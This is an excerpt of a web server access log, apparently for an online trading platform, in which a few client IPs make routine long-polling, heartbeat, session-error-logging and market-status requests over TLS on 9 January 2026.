[09/Jan/2026:14:34:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940769192 HTTP/1.1" -
[09/Jan/2026:14:34:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940760126 HTTP/1.1" -
[09/Jan/2026:14:34:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:34:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:34:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:34:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:34:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940757125 HTTP/1.1" -
[09/Jan/2026:14:34:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940757748 HTTP/1.1" -
[09/Jan/2026:14:34:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940762170 HTTP/1.1" -
[09/Jan/2026:14:34:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940762868 HTTP/1.1" -
[09/Jan/2026:14:34:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:34:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:34:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940767212 HTTP/1.1" -
[09/Jan/2026:14:34:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940768030 HTTP/1.1" -
[09/Jan/2026:14:35:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940772243 HTTP/1.1" -
[09/Jan/2026:14:35:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:35:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:35:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940773167 HTTP/1.1" -
[09/Jan/2026:14:35:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940777283 HTTP/1.1" -
[09/Jan/2026:14:35:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940778326 HTTP/1.1" -
[09/Jan/2026:14:35:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940782314 HTTP/1.1" -
[09/Jan/2026:14:35:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940783475 HTTP/1.1" -
[09/Jan/2026:14:35:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:35:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:35:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:35:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:35:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940787352 HTTP/1.1" -
[09/Jan/2026:14:35:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940788689 HTTP/1.1" -
[09/Jan/2026:14:35:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940792393 HTTP/1.1" -
[09/Jan/2026:14:35:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:35:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:35:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940793747 HTTP/1.1" -
[09/Jan/2026:14:35:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940797428 HTTP/1.1" -
[09/Jan/2026:14:35:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940798875 HTTP/1.1" -
[09/Jan/2026:14:35:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940802464 HTTP/1.1" -
[09/Jan/2026:14:35:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:35:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:35:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940804052 HTTP/1.1" -
[09/Jan/2026:14:35:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940807492 HTTP/1.1" -
[09/Jan/2026:14:35:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940809192 HTTP/1.1" -
[09/Jan/2026:14:35:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940812512 HTTP/1.1" -
[09/Jan/2026:14:35:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940814372 HTTP/1.1" -
[09/Jan/2026:14:35:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:35:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:35:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:35:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:35:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940817567 HTTP/1.1" -
[09/Jan/2026:14:35:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940819508 HTTP/1.1" -
[09/Jan/2026:14:35:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940822613 HTTP/1.1" -
[09/Jan/2026:14:35:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:35:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:35:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940824575 HTTP/1.1" -
[09/Jan/2026:14:35:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940827644 HTTP/1.1" -
[09/Jan/2026:14:36:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940829656 HTTP/1.1" -
[09/Jan/2026:14:36:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940832669 HTTP/1.1" -
[09/Jan/2026:14:36:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:36:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:36:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940834865 HTTP/1.1" -
[09/Jan/2026:14:36:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940837701 HTTP/1.1" -
[09/Jan/2026:14:36:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940840025 HTTP/1.1" -
[09/Jan/2026:14:36:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940842722 HTTP/1.1" -
[09/Jan/2026:14:36:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940845181 HTTP/1.1" -
[09/Jan/2026:14:36:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:36:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:36:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:36:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:36:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940847748 HTTP/1.1" -
[09/Jan/2026:14:36:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940850295 HTTP/1.1" -
[09/Jan/2026:14:36:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940852793 HTTP/1.1" -
[09/Jan/2026:14:36:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:36:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:36:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940855341 HTTP/1.1" -
[09/Jan/2026:14:36:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940857818 HTTP/1.1" -
[09/Jan/2026:14:36:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940860461 HTTP/1.1" -
[09/Jan/2026:14:36:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940862852 HTTP/1.1" -
[09/Jan/2026:14:36:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:36:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:36:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940865618 HTTP/1.1" -
[09/Jan/2026:14:36:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940867893 HTTP/1.1" -
[09/Jan/2026:14:36:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940870758 HTTP/1.1" -
[09/Jan/2026:14:36:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940872913 HTTP/1.1" -
[09/Jan/2026:14:36:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940875891 HTTP/1.1" -
[09/Jan/2026:14:36:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:36:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:36:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:36:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:36:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940877958 HTTP/1.1" -
[09/Jan/2026:14:36:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940881032 HTTP/1.1" -
[09/Jan/2026:14:36:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940882995 HTTP/1.1" -
[09/Jan/2026:14:36:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:36:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:36:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940886093 HTTP/1.1" -
[09/Jan/2026:14:36:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940888038 HTTP/1.1" -
[09/Jan/2026:14:37:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940891247 HTTP/1.1" -
